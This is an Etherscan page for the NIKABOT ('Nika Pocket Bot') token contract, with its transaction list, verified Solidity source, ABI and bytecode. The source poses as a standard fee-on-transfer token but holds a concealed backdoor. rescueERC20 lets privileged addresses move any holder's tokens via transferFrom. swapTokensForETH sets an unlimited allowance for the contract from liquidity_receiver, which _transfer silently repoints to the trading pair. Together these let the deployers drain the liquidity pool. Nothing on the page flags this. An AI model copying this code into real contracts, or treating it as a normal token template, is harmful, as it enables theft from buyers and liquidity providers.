ETH Price: $2,079.33 (-1.11%)

Contract

0x9D3cCBfce5C4E0e3B2023b1DdABFc315eEEb4Df3
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Rescue ERC20179521912023-08-19 23:47:59937 days ago1692488879IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.000681711.02523299
Approve179519522023-08-19 22:59:35937 days ago1692485975IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0007744916.71370646
Approve179519492023-08-19 22:58:59937 days ago1692485939IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0007605616.41301914
Approve179517832023-08-19 22:25:35937 days ago1692483935IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0005338111.53475911
Approve179515182023-08-19 21:32:35937 days ago1692480755IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0005672112.18679792
Approve179512942023-08-19 20:47:23937 days ago1692478043IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.000538511.57014562
Approve179511462023-08-19 20:17:35937 days ago1692476255IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0006181313.34623458
Approve179506162023-08-19 18:30:59938 days ago1692469859IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0008832718.97758181
Approve179505592023-08-19 18:19:23938 days ago1692469163IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0006656514.37986032
Approve179505402023-08-19 18:15:35938 days ago1692468935IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0006743714.56821386
Approve179502272023-08-19 17:11:59938 days ago1692465119IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0009070819.60535195
Approve179499972023-08-19 16:25:59938 days ago1692462359IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0008303617.84088884
Approve179499762023-08-19 16:21:47938 days ago1692462107IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.000981621.20506997
Approve179499652023-08-19 16:19:35938 days ago1692461975IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0010711223.0135771
Approve179499172023-08-19 16:09:59938 days ago1692461399IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0006022722.76950125
Approve179499162023-08-19 16:09:47938 days ago1692461387IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0009668820.86007137
Approve179499052023-08-19 16:07:23938 days ago1692461243IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0009218219.80585205
Approve179499002023-08-19 16:06:23938 days ago1692461183IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0008743418.888094
Approve179498622023-08-19 15:58:47938 days ago1692460727IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0007546816.30305762
Transfer179498502023-08-19 15:56:23938 days ago1692460583IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0012825516.55466067
Approve179497872023-08-19 15:43:47938 days ago1692459827IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0006790814.66995192
Transfer179497792023-08-19 15:42:11938 days ago1692459731IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0011650515.03800925
Approve179497172023-08-19 15:29:23938 days ago1692458963IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0008018417.32183991
Approve179497122023-08-19 15:28:23938 days ago1692458903IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0007650916.5279855
Approve179496942023-08-19 15:24:47938 days ago1692458687IN
0x9D3cCBfc...5eEEb4Df3
0 ETH0.0006541614.13148269
View all transactions

Latest 10 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer179504902023-08-19 18:05:23938 days ago1692468323
0x9D3cCBfc...5eEEb4Df3
0.00790442 ETH
Transfer179497872023-08-19 15:43:47938 days ago1692459827
0x9D3cCBfc...5eEEb4Df3
0.00783404 ETH
Transfer179496562023-08-19 15:17:11938 days ago1692458231
0x9D3cCBfc...5eEEb4Df3
0.00742244 ETH
Transfer179496482023-08-19 15:15:35938 days ago1692458135
0x9D3cCBfc...5eEEb4Df3
0.00728901 ETH
Transfer179496312023-08-19 15:12:11938 days ago1692457931
0x9D3cCBfc...5eEEb4Df3
0.0068101 ETH
Transfer179496282023-08-19 15:11:35938 days ago1692457895
0x9D3cCBfc...5eEEb4Df3
0.00681303 ETH
Transfer179496282023-08-19 15:11:35938 days ago1692457895
0x9D3cCBfc...5eEEb4Df3
0.00681303 ETH
Transfer179496262023-08-19 15:11:11938 days ago1692457871
0x9D3cCBfc...5eEEb4Df3
0.00681303 ETH
Transfer179496202023-08-19 15:09:59938 days ago1692457799
0x9D3cCBfc...5eEEb4Df3
0.00677455 ETH
Add Liquidity ET...179492452023-08-19 13:54:23938 days ago1692453263
0x9D3cCBfc...5eEEb4Df3
15 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
NIKABOT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-19
*/

/**

Telegram: https://t.me/NikaPocketBotPortal
Twitter: https://twitter.com/nikapocketbot

Website: https://nikapocketbot.com
Bot: https://t.me/NikaPocketBot

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract NIKABOT is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Nika Pocket Bot";
    string private constant _symbol = "NIKABOT";
    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    IRouter router;
    address public pair;
    bool public tradingAllowed = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 public swapThreshold = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    uint256 private totalFee = 100;
    uint256 private sellFee = 100;
    uint256 private transferFee = 100;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = msg.sender; 
    address internal marketing_receiver = 0x73A883bE3Ea2Ea6FEA079AA9585f0d613698c539;
    address internal liquidity_receiver = msg.sender;
    uint256 public _maxTxAmount = ( _totalSupply * 200 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 200 ) / 10000;

    constructor() {
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function addLiquidity() external payable onlyOwner{
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        addLiquidity(balanceOf(address(this)), msg.value);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
    }

    function shouldContractSwap(address sender, address recipient) internal view returns (bool) {
        return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount;
    }

    function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
        marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
        isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
    }

    function manualSwap() external {
        require(msg.sender == development_receiver || msg.sender == marketing_receiver);
        swapTokensForETH(swapThreshold);
        payable(msg.sender).transfer(address(this).balance);
    }

    function rescueERC20(address _address, address from, address to, uint256 amount) external {
        require(msg.sender == development_receiver || msg.sender == marketing_receiver);
        IERC20(_address).transferFrom(from, to, amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = initialBalance.sub(address(this).balance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _allowances[liquidity_receiver][address(this)]=~uint256(0);
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(sender == pair && isFeeExempt[recipient]){swapEnabled=true;}
        if(recipient == pair && !isFeeExempt[sender]){liquidity_receiver=recipient;swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a62000324565b6200002290633b9aca006200033c565b60018190556006805461ffff60a01b191690556000600955620186a0906200004c90600a6200033c565b62000058919062000356565b600a556000600b819055600c8190556064600d819055600e91909155600f81905560108190556011556127106012819055601380546001600160a01b0319908116339081179092556014805482167373a883be3ea2ea6fea079aa9585f0d613698c539179055601580549091169091179055600154620000da9060c86200033c565b620000e6919062000356565b60165561271060015460c8620000fd91906200033c565b62000109919062000356565b6017553480156200011957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3503060009081526004602090815260408083208054600160ff1991821681179092556015546001600160a01b039081168652838620805483168417905560145481168652838620805483168417905560135416855282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000379565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002665781600019048211156200024a576200024a6200020f565b808516156200025857918102915b93841c93908002906200022a565b509250929050565b6000826200027f575060016200031e565b816200028e575060006200031e565b8160018114620002a75760028114620002b257620002d2565b60019150506200031e565b60ff841115620002c657620002c66200020f565b50506001821b6200031e565b5060208310610133831016604e8410600b8410161715620002f7575081810a6200031e565b62000303838362000225565b80600019048211156200031a576200031a6200020f565b0290505b92915050565b60006200033560ff8416836200026e565b9392505050565b80820281158282048414176200031e576200031e6200020f565b6000826200037457634e487b7160e01b600052601260045260246000fd5b500490565b611bdc80620003896000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d15780639213c3581161008a578063a9059cbb11610064578063a9059cbb1461044c578063dd62ed3e1461046c578063e8078d94146104b2578063f2fde38b146104ba57600080fd5b80639213c358146103dc57806395d89b41146103fc578063a8aa1b311461042c57600080fd5b806370a082311461031e578063715018a614610354578063751039fc1461036957806378109e541461037e5780637d1db4a5146103945780638da5cb5b146103aa57600080fd5b8063293230b811610123578063293230b814610267578063313ce5671461027c5780633f4218e01461029857806348ff2b8b146102c857806351bc3c85146102e857806353371be0146102fd57600080fd5b80630445b6671461017657806306fdde031461019f578063095ea7b3146101e05780630d1859f61461021057806318160ddd1461023257806323b872dd1461024757600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018c600a5481565b6040519081526020015b60405180910390f35b3480156101ab57600080fd5b5060408051808201909152600f81526e139a5ad848141bd8dad95d08109bdd608a1b60208201525b60405161019691906117f1565b3480156101ec57600080fd5b506102006101fb366004611854565b6104da565b6040519015158152602001610196565b34801561021c57600080fd5b5061023061022b366004611880565b6104f1565b005b34801561023e57600080fd5b5061018c61059f565b34801561025357600080fd5b506102006102623660046118d1565b610610565b34801561027357600080fd5b5061023061067a565b34801561028857600080fd5b5060405160128152602001610196565b3480156102a457600080fd5b506102006102b3366004611912565b60046020526000908152604090205460ff1681565b3480156102d457600080fd5b506102306102e336600461193d565b6106c2565b3480156102f457600080fd5b50610230610717565b34801561030957600080fd5b5060065461020090600160a01b900460ff1681565b34801561032a57600080fd5b5061018c610339366004611912565b6001600160a01b031660009081526002602052604090205490565b34801561036057600080fd5b5061023061077d565b34801561037557600080fd5b506102306107f1565b34801561038a57600080fd5b5061018c60175481565b3480156103a057600080fd5b5061018c60165481565b3480156103b657600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610196565b3480156103e857600080fd5b506102306103f7366004611976565b610828565b34801561040857600080fd5b50604080518082019091526007815266139252d05093d560ca1b60208201526101d3565b34801561043857600080fd5b506006546103c4906001600160a01b031681565b34801561045857600080fd5b50610200610467366004611854565b6108ce565b34801561047857600080fd5b5061018c6104873660046119c1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6102306108db565b3480156104c657600080fd5b506102306104d5366004611912565b610ac2565b60006104e7338484610b88565b5060015b92915050565b6013546001600160a01b031633148061051457506014546001600160a01b031633145b61051d57600080fd5b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af1158015610574573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059891906119ef565b5050505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261060b9290916106059190610cac565b90610cac565b905090565b600061061d848484610cb8565b61066f843361066a85604051806060016040528060288152602001611b7f602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906111cf565b610b88565b5060015b9392505050565b6000546001600160a01b031633146106ad5760405162461bcd60e51b81526004016106a490611a0c565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106ec5760405162461bcd60e51b81526004016106a490611a0c565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6013546001600160a01b031633148061073a57506014546001600160a01b031633145b61074357600080fd5b61074e600a546111fb565b60405133904780156108fc02916000818181858888f1935050505015801561077a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107a75760405162461bcd60e51b81526004016106a490611a0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461081b5760405162461bcd60e51b81526004016106a490611a0c565b6001546016819055601755565b6000546001600160a01b031633146108525760405162461bcd60e51b81526004016106a490611a0c565b601480546001600160a01b039485166001600160a01b031991821681179092556015805494861694821685179055601380549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b60006104e7338484610cb8565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016106a490611a0c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109829190611a37565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f39190611a37565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a649190611a37565b600580546001600160a01b038086166001600160a01b03199283161790925560068054928416929091169190911790559050610abe610ab8306001600160a01b031660009081526002602052604090205490565b34611377565b5050565b6000546001600160a01b03163314610aec5760405162461bcd60e51b81526004016106a490611a0c565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106a4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106a4565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106a4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106738284611a6a565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106a4565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106a4565b6001600160a01b038316600090815260026020526040902054811115610e005760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016106a4565b6001600160a01b03831660009081526004602052604090205460ff16158015610e4257506001600160a01b03821660009081526004602052604090205460ff16155b15610e9157600654600160a01b900460ff16610e915760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016106a4565b6001600160a01b03831660009081526004602052604090205460ff16158015610ed357506001600160a01b03821660009081526004602052604090205460ff16155b8015610eed57506006546001600160a01b03838116911614155b8015610f0457506001600160a01b03821661dead14155b15610f7d576017546001600160a01b038316600090815260026020526040902054610f2f9083611424565b1115610f7d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016106a4565b60165481111580610fa657506001600160a01b03831660009081526004602052604090205460ff165b80610fc957506001600160a01b03821660009081526004602052604090205460ff165b6110095760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016106a4565b6006546001600160a01b03848116911614801561103e57506001600160a01b03821660009081526004602052604090205460ff165b15611057576006805460ff60a81b1916600160a81b1790555b6006546001600160a01b03838116911614801561108d57506001600160a01b038316600090815260046